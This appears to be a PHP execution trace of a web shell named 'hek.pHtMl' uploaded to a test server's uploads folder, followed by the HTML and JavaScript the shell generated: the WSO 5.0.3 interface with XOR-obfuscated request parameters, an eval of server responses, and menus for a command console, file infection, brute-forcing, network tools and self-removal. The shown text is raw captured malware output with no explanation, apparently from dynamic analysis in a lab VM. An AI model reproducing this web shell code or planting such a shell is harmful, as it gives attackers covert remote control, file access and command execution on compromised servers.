6	178	0	0.017960	1319352	cmp	1		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	955	2	['name' => 'hek.pHtMl', 'path' => '/var/www/html/uploads/hek.pHtMl', 'modify' => '2023-02-12 16:27:27', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 35486, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']	['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 16:27:27', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
7	179	0	0.018006	1319352	strtolower	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	951	1	'hek.pHtMl'
7	179	1	0.018028	1319424
7	179	R			'hek.phtml'
7	180	0	0.018050	1319392	strtolower	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	951	1	'prepend.php'
7	180	1	0.018071	1319424
7	180	R			'prepend.php'
7	181	0	0.018092	1319392	strcmp	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	951	2	'hek.phtml'	'prepend.php'
7	181	1	0.018114	1319456
7	181	R			-1
6	178	1	0.018135	1319352
6	178	R			-1
5	173	1	0.018155	1318976
5	173	R			TRUE
5	182	0	0.018176	1318928	usort	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	956	2	[0 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 16:27:27', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 16:27:27', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']]	'cmp'
6	183	0	0.018219	1319376	cmp	1		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	956	2	['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 16:27:27', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']	['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 16:27:27', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
7	184	0	0.018257	1319376	strtolower	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	951	1	'..'
7	184	1	0.018279	1319408
7	184	R			'..'
7	185	0	0.018299	1319376	strtolower	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	951	1	'data'
7	185	1	0.018319	1319408
7	185	R			'data'
7	186	0	0.018339	1319376	strcmp	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	951	2	'..'	'data'
7	186	1	0.018361	1319440
7	186	R			-3552051
6	183	1	0.018382	1319376
6	183	R			-3552051
5	182	1	0.018403	1319000
5	182	R			TRUE
5	187	0	0.018423	1318928	array_merge	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	957	2	[0 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 16:27:27', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 16:27:27', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']]	[0 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 16:27:27', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 1 => ['name' => 'hek.pHtMl', 'path' => '/var/www/html/uploads/hek.pHtMl', 'modify' => '2023-02-12 16:27:27', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 35486, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'], 2 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 16:27:27', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']]
5	187	1	0.018488	1319368
5	187	R			[0 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 16:27:27', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 16:27:27', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 2 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 16:27:27', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 3 => ['name' => 'hek.pHtMl', 'path' => '/var/www/html/uploads/hek.pHtMl', 'modify' => '2023-02-12 16:27:27', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 35486, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'], 4 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 16:27:27', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']]
4		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	957	$files = [0 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 16:27:27', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 16:27:27', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 2 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 16:27:27', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 3 => ['name' => 'hek.pHtMl', 'path' => '/var/www/html/uploads/hek.pHtMl', 'modify' => '2023-02-12 16:27:27', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 35486, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'], 4 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 16:27:27', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']]
4		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	958	$l = 0
5	188	0	0.018645	1319008	urlencode	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	960	1	'..'
5	188	1	0.018668	1319072
5	188	R			'..'
5	189	0	0.018692	1319136	htmlspecialchars	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	960	1	'..'
5	189	1	0.018716	1319328
5	189	R			'..'
5	190	0	0.018740	1319248	urlencode	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	960	1	'..'
5	190	1	0.018762	1319312
5	190	R			'..'
5	191	0	0.018782	1319376	urlencode	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	961	1	'..'
5	191	1	0.018803	1319440
5	191	R			'..'
5	192	0	0.018823	1319568	urlencode	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	961	1	'..'
5	192	1	0.018844	1319632
5	192	R			'..'
4		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	962	$l = 1
5	193	0	0.018895	1319024	urlencode	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	960	1	'data'
5	193	1	0.018917	1319088
5	193	R			'data'
5	194	0	0.018939	1319136	htmlspecialchars	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	960	1	'data'
5	194	1	0.018962	1319328
5	194	R			'data'
5	195	0	0.018984	1319248	urlencode	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	960	1	'data'
5	195	1	0.019005	1319312
5	195	R			'data'
5	196	0	0.019026	1319376	urlencode	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	961	1	'data'
5	196	1	0.019046	1319440
5	196	R			'data'
5	197	0	0.019067	1319568	urlencode	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	961	1	'data'
5	197	1	0.019086	1319632
5	197	R			'data'
4		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	962	$l = 0
5	198	0	0.019422	1319008	urlencode	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	960	1	'.htaccess'
5	198	1	0.019440	1319080
5	198	R			'.htaccess'
5	199	0	0.019456	1319056	urlencode	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	960	1	'.htaccess'
5	199	1	0.019471	1319128
5	199	R			'.htaccess'
5	200	0	0.019486	1319136	htmlspecialchars	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	960	1	'.htaccess'
5	200	1	0.019502	1319328
5	200	R			'.htaccess'
5	201	0	0.019519	1319120	viewSize	1		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	960	1	64
5	201	1	0.019537	1319152
5	201	R			'64 B'
5	202	0	0.019552	1319248	urlencode	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	960	1	'.htaccess'
5	202	1	0.019567	1319320
5	202	R			'.htaccess'
5	203	0	0.019581	1319376	urlencode	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	961	1	'.htaccess'
5	203	1	0.019595	1319448
5	203	R			'.htaccess'
5	204	0	0.019609	1319568	urlencode	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	961	1	'.htaccess'
5	204	1	0.019624	1319640
5	204	R			'.htaccess'
5	205	0	0.019638	1319568	urlencode	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	961	1	'.htaccess'
5	205	1	0.019652	1319640
5	205	R			'.htaccess'
5	206	0	0.019666	1319792	urlencode	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	961	1	'.htaccess'
5	206	1	0.019681	1319864
5	206	R			'.htaccess'
5	207	0	0.019694	1319888	urlencode	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	961	1	'.htaccess'
5	207	1	0.019708	1319960
5	207	R			'.htaccess'
4		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	962	$l = 1
5	208	0	0.019736	1319024	urlencode	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	960	1	'hek.pHtMl'
5	208	1	0.019751	1319096
5	208	R			'hek.pHtMl'
5	209	0	0.019765	1319088	urlencode	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	960	1	'hek.pHtMl'
5	209	1	0.019779	1319160
5	209	R			'hek.pHtMl'
5	210	0	0.019793	1319168	htmlspecialchars	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	960	1	'hek.pHtMl'
5	210	1	0.019808	1319360
5	210	R			'hek.pHtMl'
5	211	0	0.019822	1319152	viewSize	1		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	960	1	35486
6	212	0	0.019838	1319152	sprintf	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	315	2	'%1.2f'	34.654296875
6	212	1	0.019857	1319536
6	212	R			'34.65'
5	211	1	0.019871	1319192
5	211	R			'34.65 KB'
5	213	0	0.019886	1319248	urlencode	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	960	1	'hek.pHtMl'
5	213	1	0.019900	1319320
5	213	R			'hek.pHtMl'
5	214	0	0.019914	1319440	urlencode	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	961	1	'hek.pHtMl'
5	214	1	0.019935	1319512
5	214	R			'hek.pHtMl'
5	215	0	0.019948	1319568	urlencode	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	961	1	'hek.pHtMl'
5	215	1	0.019962	1319640
5	215	R			'hek.pHtMl'
5	216	0	0.019976	1319568	urlencode	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	961	1	'hek.pHtMl'
5	216	1	0.019990	1319640
5	216	R			'hek.pHtMl'
5	217	0	0.020003	1319792	urlencode	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	961	1	'hek.pHtMl'
5	217	1	0.020017	1319864
5	217	R			'hek.pHtMl'
5	218	0	0.020030	1319888	urlencode	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	961	1	'hek.pHtMl'
5	218	1	0.020044	1319960
5	218	R			'hek.pHtMl'
4		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	962	$l = 0
5	219	0	0.020070	1319008	urlencode	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	960	1	'prepend.php'
5	219	1	0.020085	1319080
5	219	R			'prepend.php'
5	220	0	0.020099	1319056	urlencode	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	960	1	'prepend.php'
5	220	1	0.020113	1319128
5	220	R			'prepend.php'
5	221	0	0.020127	1319136	htmlspecialchars	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	960	1	'prepend.php'
5	221	1	0.020141	1319328
5	221	R			'prepend.php'
5	222	0	0.020156	1319152	viewSize	1		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	960	1	57
5	222	1	0.020171	1319184
5	222	R			'57 B'
5	223	0	0.020185	1319248	urlencode	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	960	1	'prepend.php'
5	223	1	0.020199	1319320
5	223	R			'prepend.php'
5	224	0	0.020212	1319376	urlencode	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	961	1	'prepend.php'
5	224	1	0.020226	1319448
5	224	R			'prepend.php'
5	225	0	0.020239	1319568	urlencode	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	961	1	'prepend.php'
5	225	1	0.020253	1319640
5	225	R			'prepend.php'
5	226	0	0.020267	1319568	urlencode	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	961	1	'prepend.php'
5	226	1	0.020281	1319640
5	226	R			'prepend.php'
5	227	0	0.020294	1319792	urlencode	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	961	1	'prepend.php'
5	227	1	0.020308	1319864
5	227	R			'prepend.php'
5	228	0	0.020321	1319952	urlencode	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	961	1	'prepend.php'
5	228	1	0.020335	1320024
5	228	R			'prepend.php'
4		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	962	$l = 1
5	229	0	0.020362	1318928	htmlspecialchars	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	967	1	'/var/www/html/uploads/'
5	229	1	0.020378	1319120
5	229	R			'/var/www/html/uploads/'
5	230	0	0.020396	1318928	class_exists	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	973	1	'ZipArchive'
5	230	1	0.020415	1318968
5	230	R			FALSE
5	231	0	0.020430	1318928	hardFooter	1		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	980	0
6	232	0	0.020446	1318928	is_writable	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	256	1	'/var/www/html/uploads/'
6	232	1	0.020481	1318968
6	232	R			TRUE
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	256	$is_writable = ' <font color=\'#FFDB5F\'>[ Writeable ]</font>'
6	233	0	0.020512	1318928	function_exists	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	261	1	'actionFilesMan'
6	233	1	0.020529	1318968
6	233	R			TRUE
6	234	0	0.020543	1319184	htmlspecialchars	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	261	1	'/var/www/html/uploads/'
6	234	1	0.020558	1319376
6	234	R			'/var/www/html/uploads/'
6	235	0	0.020579	1319312	function_exists	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	262	1	'actionFilesTools'
6	235	1	0.020596	1319352
6	235	R			TRUE
6	236	0	0.020609	1319568	function_exists	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	264	1	'actionFilesMan'
6	236	1	0.020624	1319608
6	236	R			TRUE
6	237	0	0.020639	1319824	function_exists	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	265	1	'actionFilesTools'
6	237	1	0.020655	1319864
6	237	R			TRUE
6	238	0	0.020669	1320208	function_exists	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	267	1	'actionConsole'
6	238	1	0.020685	1320248
6	238	R			TRUE
6	239	0	0.020698	1320208	function_exists	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	268	1	'actionFilesMan'
6	239	1	0.020714	1320248
6	239	R			TRUE
6	240	0	0.020727	1320464	htmlspecialchars	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	270	1	'/var/www/html/uploads/'
6	240	1	0.020743	1320656
6	240	R			'/var/www/html/uploads/'
5	231	1	0.020763	1318928
4	34	1	0.020774	1311664
3	9	1	0.020785	1311664
2	6	1	0.020803	1145416
1	3	1	0.020812	1145416
			0.020861	1053088
TRACE END   [2023-02-12 19:27:53.721465]


Generated HTML code

<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>localhost - WSO 5.0.3</title>
<style>
	.e, .v, .h, .h th {background-color:#060A10 !important; border: none !important;}
	body {background-color:#060A10; color:#e1e1e1; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;}
	body,td,th	{font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}
	table		{width:inherit !important; box-shadow: none !important;}
	table.info	{background:#060a10; color:#C3C3C3;}
	table.main	{width:100% !important;}
	table#toolsTbl {background-color: #060A10;}
	span,h1,a	{color:#fff !important;}
	span		{font-weight:bolder;}
	h1			{border-left:5px solid #2E6E9C;padding:2px 5px;font:14pt Verdana;background-color:#10151c;margin:0px;}
	div.content	{padding:5px;margin-left:5px;background-color:#060a10;}
	a			{text-decoration:none;}
	a:hover		{text-decoration:underline;}
	.tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}
	.tooltip:hover::after {opacity:1;visibility:visible;}
	.ml1		{border:1px solid #12151d;padding:5px;margin:0;overflow:auto;}
	.bigarea	{min-width:100%; max-width:100%; height:400px;}
	input, textarea, select	{margin:0; padding-top:2px; color:#fff;background-color:#12151d;border:none;font:9pt Courier New;outline:none;}
	input:hover, textarea:hover, select:hover {background-color:#202832;}
	input:focus, textarea:focus, select:focus {background-color:#202832;}
	input:-webkit-autofill {-webkit-box-shadow: inset 0 0 0 50px #12151d !important;-webkit-text-fill-color: #fff !important;color: #fff !important;}
	label {position:relative}
	label:after {content:'<>';font:10px 'Consolas', monospace;color:#fff;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;}
	label:before {content:'';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;}
	form		{margin:0px;}
	#toolsTbl	{text-align:center;}
	#fak 		{background:none;}
	#fak td 	{padding:5px 0 0 0;}
	iframe		{border:1px solid #060a10;}
	.toolsInp	{width:300px}
	.main th	{text-align:left;background-color:#060a10;}
	.main td, th{vertical-align:middle;}
	input[type='submit']{background-color:#2E6E9C;}
	input[type='button']{background-color:#2E6E9C;}
	input[type='submit']:hover{background-color:#56AD15;}
	input[type='button']:hover{background-color:#56AD15;}
	.l1			{background-color:#12151d;}
	.fm tr:hover {background-color:#202832;}	
	pre			{font:9pt Courier New;}
</style>
<script>
    var c_ = '/var/www/html/';
    var a_ = 'FilesMan'
    var charset_ = 'UTF-8';
    var p1_ = '';
    var p2_ = '';
    var p3_ = '';
    var d = document;
	
	function encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}
	function utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}
	function base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}
	function set(a,c,p1,p2,p3,charset) {
		if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
		if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
		if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
		if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
		if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
		d.mf.a.value = encrypt(d.mf.a.value,'ab08edf2e5f896ca30f54153008b9d29');
		d.mf.c.value = encrypt(d.mf.c.value,'ab08edf2e5f896ca30f54153008b9d29');
		d.mf.p1.value = encrypt(d.mf.p1.value,'ab08edf2e5f896ca30f54153008b9d29');
		d.mf.p2.value = encrypt(d.mf.p2.value,'ab08edf2e5f896ca30f54153008b9d29');
		d.mf.p3.value = encrypt(d.mf.p3.value,'ab08edf2e5f896ca30f54153008b9d29');
		if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
	}
	function g(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		d.mf.submit();
	}
	function a(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		var params = 'ajax=true';
		for(i=0;i<d.mf.elements.length;i++)
			params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
		sr('/hek.pHtMl', params);
	}
	function sr(url, params) {
		if (window.XMLHttpRequest)
			req = new XMLHttpRequest();
		else if (window.ActiveXObject)
			req = new ActiveXObject('Microsoft.XMLHTTP');
        if (req) {
            req.onreadystatechange = processReqChange;
            req.open('POST', url, true);
            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
            req.send(params);
        }
	}
	function processReqChange() {
		if( (req.readyState == 4) )
			if(req.status == 200) {
				var reg = new RegExp("(\\d+)([\\S\\s]*)", 'm');
				var arr=reg.exec(req.responseText);
				eval(arr[2].substr(0, arr[1]));
			} else alert('Request error!');
	}
</script>
</head><body><div style="position:absolute;background-color:rgba(18, 21, 29, 0.48);width:100%;top:0;left:0;">
<form method="post" name="mf" style="display:none;">
<input type="hidden" name="a">
<input type="hidden" name="c">
<input type="hidden" name="p1">
<input type="hidden" name="p2">
<input type="hidden" name="p3">
<input type="hidden" name="charset">
</form><table class="info" cellpadding="3" cellspacing="0" width="100%"><tbody><tr><td width="1"><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:</span></td><td><nobr>Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 <a href="http://noreferer.de/?http://www.google.com/search?q=Linux+osboxes+5.15.0-60-generic+%2366-Ubuntu+SMP+Fri+Jan+20+14%3A29%3A49+UTC+2023+x86_64" target="_blank">[ Google ]</a> <a href="http://noreferer.de/?http://www.exploit-db.com/search/?action=search&amp;description=Linux+Kernel+5.15.0" target="_blank">[ Exploit-DB ]</a></nobr><br>33 ( www-data ) <span>Group:</span> 33 ( www-data )<br>7.2.34-37+ubuntu22.04.1+deb.sury.org+1 <span>Safe mode:</span> <font color="#FFDB5F"><b>OFF</b></font> <a href="#" onclick="g('Php',null,null,'info')">[ phpinfo ]</a> <span>Datetime:</span> 2023-02-12 16:27:22<br>216.08 GB <span>Free:</span> 194.77 GB (90.14%)<br><a href="#" onclick="g(&quot;FilesMan&quot;,&quot;/&quot;)">/</a><a href="#" onclick="g(&quot;FilesMan&quot;,&quot;/var/&quot;)">var/</a><a href="#" onclick="g(&quot;FilesMan&quot;,&quot;/var/www/&quot;)">www/</a><a href="#" onclick="g(&quot;FilesMan&quot;,&quot;/var/www/html/&quot;)">html/</a> <font color="#FFDB5F"><b>drwxrwxrwx</b></font> <a href="#" onclick="g('FilesMan','/var/www/html','','','')">[ home ]</a><br></td><td width="1" align="right"><nobr><label><select onchange="g(null,null,null,null,null,this.value)"><option value="UTF-8" selected="">UTF-8</option><option value="Windows-1251">Windows-1251</option><option value="KOI8-R">KOI8-R</option><option value="KOI8-U">KOI8-U</option><option value="cp866">cp866</option></select></label><br><span>Server IP:</span><br>127.0.0.1<br><span>Client IP:</span><br>::1</nobr></td></tr></tbody></table><table style="background-color:#2E6E9C;" cellpadding="3" cellspacing="0" width="100%"><tbody><tr><th>[ <a href="#" onclick="g('SecInfo',null,'','','')">Sec. Info</a> ]</th><th>[ <a href="#" onclick="g('FilesMan',null,'','','')">Files</a> ]</th><th>[ <a href="#" onclick="g('Console',null,'','','')">Console</a> ]</th><th>[ <a href="#" onclick="g('Infect',null,'','','')">Infect</a> ]</th><th>[ <a href="#" onclick="g('Sql',null,'','','')">Sql</a> ]</th><th>[ <a href="#" onclick="g('Php',null,'','','')">Php</a> ]</th><th>[ <a href="#" onclick="g('SafeMode',null,'','','')">Safe mode</a> ]</th><th>[ <a href="#" onclick="g('StringTools',null,'','','')">String tools</a> ]</th><th>[ <a href="#" onclick="g('Bruteforce',null,'','','')">Bruteforce</a> ]</th><th>[ <a href="#" onclick="g('Anonymizer',null,'','','')">Anonymizer</a> ]</th><th>[ <a href="#" onclick="g('Network',null,'','','')">Network</a> ]</th><th>[ <a href="#" onclick="g('SelfRemove',null,'','','')">Self remove</a> ]</th></tr></tbody></table><div><h1>File manager</h1><div class="content"><script>p1_=p2_=p3_="";</script><script>
	function sa() {
		for(i=0;i<d.files.elements.length;i++)
			if(d.files.elements[i].type == 'checkbox')
				d.files.elements[i].checked = d.files.elements[0].checked;
	}
</script>
<table class="fm main" cellspacing="0" cellpadding="2">
